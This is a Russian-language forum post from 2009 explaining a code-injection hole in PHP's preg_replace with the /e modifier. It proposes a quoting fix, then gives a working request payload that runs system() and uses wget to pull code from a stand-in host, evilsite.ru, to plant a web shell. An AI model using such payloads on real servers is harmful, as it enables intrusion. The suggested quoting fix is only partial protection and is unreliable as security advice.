Показать сообщение отдельно

  #3  
Старый 29.09.2009, 17:19
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Nightmarе, ты посмотри внимательно как ты парсишь текст:
PHP код:
preg_replace("#\[1\](.*?)\[/1\]#sie""base64_encode(\\1)"$get); 
Если на входе
Код:
http://127.0.0.1/1.php?get=[1]phpinfo()[/1]
то на выходе будет
Код:
base64_encode(phpinfo());
Сначала выполнится phpinfo(); - выведет результат на экран, а потом base64_encode(phpinfo()); выведет MQ==, т.е кодированный в base64 результат ВЫПОЛНЕНИЯ ф-ции phpinfo(), т.е. 1 (1 - ф-ция выполнилась успешно, 0 - нет) . Вся ошибка твоего кода в том, что ты не ставишь кавычек на заменяющую строку. Т.е. вместо
PHP код:
"base64_encode(\\1)" 
поставь
PHP код:
"base64_encode('\\1')" 
И твой код будет полностью защищен - выполнить какие-либо php-функции не удастся. Это по поводу безопасности..

Если же тебе надо, н.п. шелл залить, на вход отправь данные:
Код:
?get=[1]system($_GET[0])[/1]&0=wget+http://evilsite.ru/evilcode.txt+-O+shell.php
Он сработает. Почему? Интерпретатор будет интерпретировать строку
PHP код:
base64_encode(system($_GET[0])) 
Сначала выполнится ф-ция system(), которая берет аргумент с GET параметра 0, а он у тебя
Код:
wget http://evilsite.ru/evilcode.txt -O shell.php
Синтаксис wget объяснять не буду...

Последний раз редактировалось mailbrush; 29.09.2009 в 17:26..
 
Ответить с цитированием